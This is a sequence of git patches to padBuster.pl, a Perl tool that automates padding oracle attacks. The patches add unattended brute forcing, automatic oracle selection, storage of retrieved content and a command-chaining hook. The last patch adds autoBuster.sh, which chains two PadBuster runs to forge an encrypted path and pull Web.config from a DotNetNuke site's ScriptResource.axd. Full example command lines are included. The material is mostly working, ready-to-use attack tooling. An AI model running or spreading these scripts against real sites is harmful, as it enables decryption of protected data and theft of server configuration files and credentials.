"Attempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n"; + } if (!$ignoreDistance || $distance > $ignoreDistance) { - if ($status >= 300 || $status < 400) { - $strAttempt = "Attempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n"; - } else { - $strAttempt = "Attempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n"; - } + myPrint($strAttempt,0); + writeFile("Summary.txt", "# $strAttempt"); } - myPrint($strAttempt,0); - writeFile("Summary.txt", "# $strAttempt"); writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength ($contentRealLength)\nDistance: $distance\nContent:\n$content"); } } @@ -838,6 +838,7 @@ sub makeRequest { print "ERROR: $statusMsg\n Retrying in $retryWait seconds...\n\n"; $noConnect = 1; $numRetries++; + $lwp = undef; sleep $retryWait; } else { $noConnect = 0; From a284824c62e0b0208042873043bfd3a22bfcdca0 Mon Sep 17 00:00:00 2001 From: gw0 Date: Mon, 5 Sep 2011 14:18:12 +0200 Subject: [PATCH 15/21] Implemented automatic decision making, retrying and file downloading. --- padBuster.pl | 61 ++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 47 insertions(+), 14 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 8359f1d..baf6e75 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -43,6 +43,8 @@ "randomize" => \my $randomize, "ignoredistance=s" => \my $ignoreDistance, "usebody" => \my $useBody, + "auto=s" => \my $auto, + "autostore=s" => \my $autoStore, "runafter=s" => \my $runAfter, "verbose" => \my $verbose); @@ -87,6 +89,8 @@ -randomize: Randomize brute force attempts (similar to Web.config bruter) -ignoredistance [Levenshtein distance]: Ignore responses with smaller distance -usebody: Use response body content for response analysis phase + -auto [maxrequests]: Automatic decision making and stopping after maxrequests + -autostore [fileprefix]: Automatic storing to files (replaces #ATT, #STAT, #SUM) -runafter [cmd]: Command to run after finished encryption (replaces XXX, YYY) -verbose: Be Verbose -veryverbose: Be Very Verbose (Debug Only) @@ -248,7 +252,11 @@ my $repeat = 0; for my $b (0 ... 255) { - $bfAttempts++; + $bfAttempts++; + if($auto && $bfAttempts > $auto) { + myPrint("\nStopping after reaching maximal number of requests ($bfAttempts)\n",0); + goto ENDBFLOOP; + } if ($resumeBlock && ( $bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1) ) ) { #SKIP @@ -256,7 +264,7 @@ else { my $testBytes = chr($b).$testVal; - if($#oracleSignatures >= 0 && $randomize || $#oracleSignatures < 0 && $printStats) { + if($#oracleSignatures >= 0 && $randomize || $#oracleSignatures < 0 && $printStats > 0) { for (1 .. ($blockSize-3)) { $testBytes .= chr(int(rand(256))); } @@ -285,9 +293,11 @@ $responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"; if ($b == 255) { - myPrint("*** Response Analysis Complete ***\n",0); - determineSignature(); - $printStats = 1; + if (!$auto || $printStats > 4) { + myPrint("*** Response Analysis Complete ***\n",0); + determineSignature(); + } + $printStats++; $timeTracker = 0; $requestTracker = 0; $repeat = 1; @@ -307,6 +317,16 @@ if (!$ignoreDistance || $distance > $ignoreDistance) { myPrint($strAttempt,0); writeFile("Summary.txt", "# $strAttempt"); + if ($autoStore) { + my $filename = "$autoStore"; + my $chksum = unpack( '%32A*', $content ); + if (!(($filename =~ s/#ATT/$bfAttempts/g) | ($filename =~ s/#STAT/$status/g) | ($filename =~ s/#SUM/$chksum/g))) { + goto ENDBFLOOP; # Finish after storing to a static filename + } + open(OUTFILE, ">$filename") or die "ERROR: Can't write to file $filename\n"; + print OUTFILE $content; + close(OUTFILE); + } } writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength ($contentRealLength)\nDistance: $distance\nContent:\n$content"); } @@ -314,7 +334,8 @@ } ($repeat == 1) ? ($complete = 0) : ($complete = 1); } - } + } +ENDBFLOOP: } elsif ($plainTextInput) { @@ -486,7 +507,16 @@ () } else { - my @oracleNums = split(/[,\s]+/, &promptUser("\nEnter a comma separated list of IDs that match the error condition\nNOTE: The ID# marked with ** is recommended",'')); + my @oracleNums; + if ($auto) { + if ($bruteForce) { + @oracleNums =1..($#sortedGuesses+1); # Auto select all + } else { + @oracleNums =($#sortedGuesses+1); # Auto select recommended + } + } else { + @oracleNums =split(/[,\s]+/, &promptUser("\nEnter a comma separated list of IDs that match the error condition\nNOTE: The ID# marked with ** is recommended",'')); + } for (@oracleNums) { push(@oracleSignatures, @sortedGuesses[$_-1]); } @@ -599,8 +629,7 @@ sub processBlock my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl, $testPost, $testCookies); - my $signatureData = "$status\t$contentLength\t$location"; - $useBody ? ($signatureData = "$status\t$contentLength\t$location\t$content") : ""; + my $signatureData = $useBody ? "$status\t$contentLength\t$location\t$content" : "$status\t$contentLength\t$location"; # If this is the first block and there is no padding error message defined, then cycle through # all possible requests and let the user decide what the padding error behavior is. @@ -703,8 +732,10 @@ sub processBlock $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1); if ($continue ne "n") { - myPrint("INFO: Switching to interactive mode",0); - $interactive = 1; + if ($continue ne "a") { + myPrint("INFO: Switching to interactive mode",0); + $interactive = 1; + } $repeat = 1; last OUTERLOOP; } @@ -725,10 +756,12 @@ sub processBlock myPrint("[+] instead of the automated response analysis.\n",0); } $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1); - if ($continue eq "y") + if ($continue ne "n") { - myPrint("INFO: Switching to interactive mode",0); - $interactive = 1; + if ($continue ne "a") { + myPrint("INFO: Switching to interactive mode",0); + $interactive = 1; + } $repeat = 1; last OUTERLOOP; } From a875c293ffab610da0c2b44faeceb3be7646ce6d Mon Sep 17 00:00:00 2001 From: gw0 Date: Mon, 5 Sep 2011 14:45:01 +0200 Subject: [PATCH 16/21] Added contributor credits. --- README | 3 ++- padBuster.pl | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/README b/README index c5f03b1..4fb5724 100644 --- a/README +++ b/README @@ -5,7 +5,8 @@ Author: Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com) Credits to J.Rizzo and T.Duong for providing proof of concept web exploit techniques and S.Vaudenay for initial discovery of the attack. Credits also to James M. Martin (research@esptl.com) for sharing proof of concept exploit -code for performing various brute force attack techniques. +code for performing various brute force attack techniques. Credits for variuos +improvements to GW (gw.2011@tnode.com or http://gw.tnode.com/) - Viris. PadBuster is a Perl script for automating Padding Oracle Attacks. PadBuster provides the capability to decrypt arbitrary ciphertext, encrypt arbitrary plaintext, diff --git a/padBuster.pl b/padBuster.pl index baf6e75..d6fec2f 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -6,7 +6,8 @@ # Credits to J.Rizzo and T.Duong for providing proof of concept web exploit # techniques and S.Vaudenay for initial discovery of the attack. Credits also # to James M. Martin (research@esptl.com) for sharing proof of concept exploit -# code for performing various brute force attack techniques. +# code for performing various brute force attack techniques. Credits for variuos +# improvements to GW (gw.2011@tnode.com or http://gw.tnode.com/) - Viris. # use LWP::UserAgent; From 7d42ee2c3940a36061dd12b509dea1d0f4624c6c Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 20 Sep 2011 09:18:02 +0200 Subject: [PATCH 17/21] Corrected runtime warnings and errors. --- padBuster.pl | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) mode change 100644 => 100755 padBuster.pl diff --git a/padBuster.pl b/padBuster.pl old mode 100644 new mode 100755 index 2a41dcf..da0194c --- a/padBuster.pl +++ b/padBuster.pl @@ -151,7 +151,7 @@ # These are file related variables my $dirName = ($logging) ? $logging : ("PadBuster." . &getTime("F")); -my $dirSlash = ($ENV{'OS'} =~ /Windows/) ? "\\" : "/"; +my $dirSlash = (defined($ENV{'OS'}) && $ENV{'OS'} =~ /Windows/) ? "\\" : "/"; my $printStats = 0; my $requestTracker = 0; my $timeTracker = 0; @@ -167,6 +167,7 @@ my $reqsPerSession = 1000; my $retryWait = 10; my $retryRepeat = 10; +my $repeatAutoAnalysis = 5; if ($cert) { my ($certType, $certFile, $certPass) = split(/:/,$cert); @@ -311,7 +312,7 @@ $oracleCandidates{$signatureData} = $content; $responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"; if ($b == 255) { - if (!$auto || $printStats > 4) { + if (!$auto || $printStats >= $repeatAutoAnalysis) { &myPrint("*** Response Analysis Complete ***\n",0); &determineSignature(); } @@ -445,7 +446,7 @@ open FILE, "<", "/proc/$$/cmdline"; my $cmdline = ; $cmdline =~ s/\x00/ '/; - $cmdline =~ s/\x00/' '/cg; + $cmdline =~ s/\x00/' '/g; $cmdline =~ s/ '$//; close FILE; &myPrint("Pri: $cmdline",0); @@ -457,7 +458,7 @@ &myPrint("-------------------------------------------------------\n",0); &myPrint("Exit $ret from: $runAfter",0); } -} else { +} elsif (defined($plainTextBytes)) { &myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0); &myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0); &myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0); @@ -511,7 +512,7 @@ sub determineSignature { @oracleNums =split(/[,\s]+/, &promptUser("\nEnter a comma separated list of IDs that match the error condition\nNOTE: The ID# marked with ** is recommended",'')); } for (@oracleNums) { - push(@oracleSignatures, @sortedGuesses[$_-1]); + push(@oracleSignatures, $sortedGuesses[$_-1]); } if($#oracleSignatures >= 0) { &myPrint("\nContinuing test with selection [@oracleNums]\n",0); @@ -827,7 +828,7 @@ sub makeRequest { #eg: Status: 500 Can't connect to example.com:81 (connect: Connection timed out), Location: N/A, Length: #eg: Status: 500 Server closed connection without sending any data back, Location: N/A, Length: - if ($location eq '' && $contentLength eq '' && $status eq '500') { + if (!defined($location) && !defined($contentLength) && $status eq '500') { print "ERROR: $statusMsg\n Retrying in $retryWait seconds...\n\n"; $noConnect = 1; $numRetries++; @@ -943,6 +944,7 @@ sub web64Decode { sub promptUser { my($prompt, $default, $type) = @_; + $type = -1 if(!defined($type)); my $defaultValue = $default ? "[$default]" : ""; print "$prompt $defaultValue: "; chomp(my $input = ); From 87e806640d247661c798c7f43d0addea572fd149 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 20 Sep 2011 12:40:36 +0200 Subject: [PATCH 18/21] Improved robust directory creation and corrected some non-Linux warnings. --- padBuster.pl | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index da0194c..fe3485b 100755 --- a/padBuster.pl +++ b/padBuster.pl @@ -21,6 +21,8 @@ use Time::HiRes qw( gettimeofday ); use Compress::Zlib; use Crypt::SSLeay; +use File::Basename qw(dirname); +use File::Path qw(make_path); # Set defaults with $variable = value my $logging; @@ -341,6 +343,7 @@ if (!(($filename =~ s/#ATT/$bfAttempts/g) | ($filename =~ s/#STAT/$status/g) | ($filename =~ s/#SUM/$chksum/g))) { goto ENDBFLOOP; # Finish after storing to a static filename } + make_path(dirname($filename)); open(OUTFILE, ">$filename") or die "ERROR: Can't write to file $filename\n"; print OUTFILE $content; close(OUTFILE); @@ -443,15 +446,16 @@ &myPrint("-------------------------------------------------------\n",0); $runAfter =~ s/XXX/$forgedBytes/g; $runAfter =~ s/YYY/$dirName/g; - open FILE, "<", "/proc/$$/cmdline"; - my $cmdline = ; - $cmdline =~ s/\x00/ '/; - $cmdline =~ s/\x00/' '/g; - $cmdline =~ s/ '$//; - close FILE; - &myPrint("Pri: $cmdline",0); + if (open(FILE, "<", "/proc/$$/cmdline")) { + my $cmdline = ; + $cmdline =~ s/\x00/ '/; + $cmdline =~ s/\x00/' '/g; + $cmdline =~ s/ '$//; + close(FILE); + &myPrint("Pri: $cmdline",0); + &writeFile("Summary.txt", "\n$cmdline\n"); + } &myPrint("Run: $runAfter",0); - &writeFile("Summary.txt", "\n$cmdline\n"); &writeFile("Summary.txt", "$runAfter\n\n"); &myPrint("-------------------------------------------------------\n",0); my $ret = system($runAfter); @@ -970,8 +974,8 @@ sub promptUser { sub writeFile { my ($fileName, $fileContent) = @_; if (defined($logging)) { - mkdir($dirName); $fileName = $dirName.$dirSlash.$fileName; + make_path(dirname($fileName)); open(my $OUTFILE, ">>$fileName") or die "ERROR: Can't write to file $fileName\n"; print $OUTFILE $fileContent; close($OUTFILE); From c65426fc46827a9dbf8649836206a6522ee2c609 Mon Sep 17 00:00:00 2001 From: gw0 Date: Wed, 28 Sep 2011 16:32:33 +0200 Subject: [PATCH 19/21] Various minor improvements. --- padBuster.pl | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index fe3485b..6bf606d 100755 --- a/padBuster.pl +++ b/padBuster.pl @@ -286,18 +286,19 @@ if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) { #SKIP } else { - my $testBytes = chr($b).$testVal; + my $testBytes; if($#oracleSignatures >= 0 && $randomize || $#oracleSignatures < 0 && $printStats > 0) { - for (1 .. ($blockSize-3)) { + $testBytes = ''; + for (1 .. $blockSize) { $testBytes .= chr(int(rand(256))); } - } else { + } else { + $testBytes = chr($b).$testVal; $testBytes .= "\x00" x ($blockSize-3); } - my $combinedBf = $testBytes; - $combinedBf .= $encryptedBytes; - $combinedBf = &myEncode($combinedBf, $encoding); + my $combinedBf = $testBytes . $encryptedBytes; + $combinedBf = &myEncode($combinedBf, $encodingFormat); # Add the Query String to the URL my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf); @@ -963,7 +964,7 @@ sub promptUser { } elsif ($type == 2) { return $input; } else { - if ($input =~ /^-?\d/ && $input > 0 && $input < 256 || $input eq $default) { + if ($input =~ /^\d+(,\d+)+$/ || $input =~ /^-?\d+$/ && $input > 0 && $input < 256 || $input eq $default) { return $input; } else { &promptUser($prompt, $default); From bddd25882c71efae8f32ce4d3d9fc59444fd42d8 Mon Sep 17 00:00:00 2001 From: gw0 Date: Wed, 28 Sep 2011 16:42:26 +0200 Subject: [PATCH 20/21] Renamed placeholders for -runafter parameter. --- padBuster.pl | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 6bf606d..95bd5bd 100755 --- a/padBuster.pl +++ b/padBuster.pl @@ -128,7 +128,7 @@ -usebody: Use response body content for response analysis phase -auto [maxrequests]: Automatic decision making and stopping after maxrequests -autostore [fileprefix]: Automatic storing to files (replaces #ATT, #STAT, #SUM) - -runafter [cmd]: Command to run after finished encryption (replaces XXX, YYY) + -runafter [cmd]: Command to run after finished encryption (replaces #ENC, #DIR) -verbose: Be Verbose -veryverbose: Be Very Verbose (Debug Only) @@ -445,8 +445,8 @@ if($runAfter) { &myPrint("-------------------------------------------------------\n",0); - $runAfter =~ s/XXX/$forgedBytes/g; - $runAfter =~ s/YYY/$dirName/g; + $runAfter =~ s/#ENC/$forgedBytes/g; + $runAfter =~ s/#DIR/$dirName/g; if (open(FILE, "<", "/proc/$$/cmdline")) { my $cmdline = ; $cmdline =~ s/\x00/ '/; From 94460ff70218d39a858fb941e7936283f347cf52 Mon Sep 17 00:00:00 2001 From: gw0 Date: Wed, 28 Sep 2011 17:02:55 +0200 Subject: [PATCH 21/21] Added Bash script for automatic file retrieval with PadBuster. --- README | 3 +++ autoBuster.sh | 44 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 47 insertions(+) create mode 100755 autoBuster.sh diff --git a/README b/README index 4fb5724..82ce2b3 100644 --- a/README +++ b/README @@ -13,5 +13,8 @@ provides the capability to decrypt arbitrary ciphertext, encrypt arbitrary plain and perform automated response analysis to determine whether a request is vulnerable to padding oracle attacks. +autoBuster.sh is a script for automatic resource path encoding, bruteforcing and +file downloading by GW (gw.2011@tnode.com or http://gw.tnode.com/) - Viris. + PadBuster is released under the Reciprocal Public License 1.5 (RPL1.5) http://www.opensource.org/licenses/rpl1.5 diff --git a/autoBuster.sh b/autoBuster.sh new file mode 100755 index 0000000..83f8cae --- /dev/null +++ b/autoBuster.sh @@ -0,0 +1,44 @@ +#!/bin/bash +# Automatic PadBuster runner. +# +# Usage: +# - modify variables at the beginning of this script +# - run: +# ./runfile.sh +# ./runfile.sh '|||~/Web.config' 'Web.config' +# +# This script uses PadBuster to first encode the given parameter +# and than using it in the second automated file retrieval mode. +# +# For example it runs PadBuster (encoding phase) with parameters like: +# ./padBuster.pl 'http://example.com/dotnetnuke/WebResource.axd?d=cUWPUb60YjfipBsfszacsQ2' 'cUWPUb60YjfipBsfszacsQ2' 8 \ +# -encoding 3 -prefix 'cUWPUb60YjfipBsfszacsQ2' -log \ +# -auto 100000 \ +# -runafter "./padBuster.pl 'http://example.com/dotnetnuke/ScriptResource.axd?d=#ENC' '#ENC' 8 -encoding 3 -bruteforce -randomize -log '#DIR' -ignoredistance 55 -auto 100000 -autostore 'files/Web.config.#STAT-#SUM'" \ +# -plaintext '|||~/Web.config' +# +# After encoding the it starts the automatic bruteforcing and +# downloading phase (or whatever is given for the -runafter parameter). Eg: +# ./padBuster.pl 'http://example.com/dotnetnuke/ScriptResource.axd?d=ZXzZXHDtAJS0xXgU2mjYjwAAAAAAAAAA0' 'ZXzZXHDtAJS0xXgU2mjYjwAAAAAAAAAA0' 8 \ +# -encoding 3 -bruteforce -randomize -log 'PadBuster.28SEP11-55659' \ +# -ignoredistance 55 -auto 100000 -autostore 'files/Web.config.#STAT-#SUM' +# +# PadBuster will try to ignore all useless responses by comparing their +# difference and storing everything interesting in the directory 'files'. +# +# Author: GW + +# Modify these variables: +PREFIX='cUWPUb60YjfipBsfszacsQ2' +CRYPTURL="http://example.com/dotnetnuke/WebResource.axd?d=$PREFIX" +DOWNLOADURL="http://example.com/dotnetnuke/ScriptResource.axd?d=#ENC"; +BLOCKSIZE=8 + +echo "--- '$1'" + +SUBCMD="./padBuster.pl '$DOWNLOADURL' '#ENC' $BLOCKSIZE -encoding 3 -bruteforce -randomize -log '#DIR' -ignoredistance 55" +if [ "$2" != '' ]; then + SUBCMD="$SUBCMD -auto 100000 -autostore 'files/$2.#STAT-#SUM'"; +fi +./padBuster.pl "$CRYPTURL" "$PREFIX" $BLOCKSIZE -encoding 3 -prefix "$PREFIX" -log -auto 100000 -runafter "$SUBCMD" -plaintext "$1" +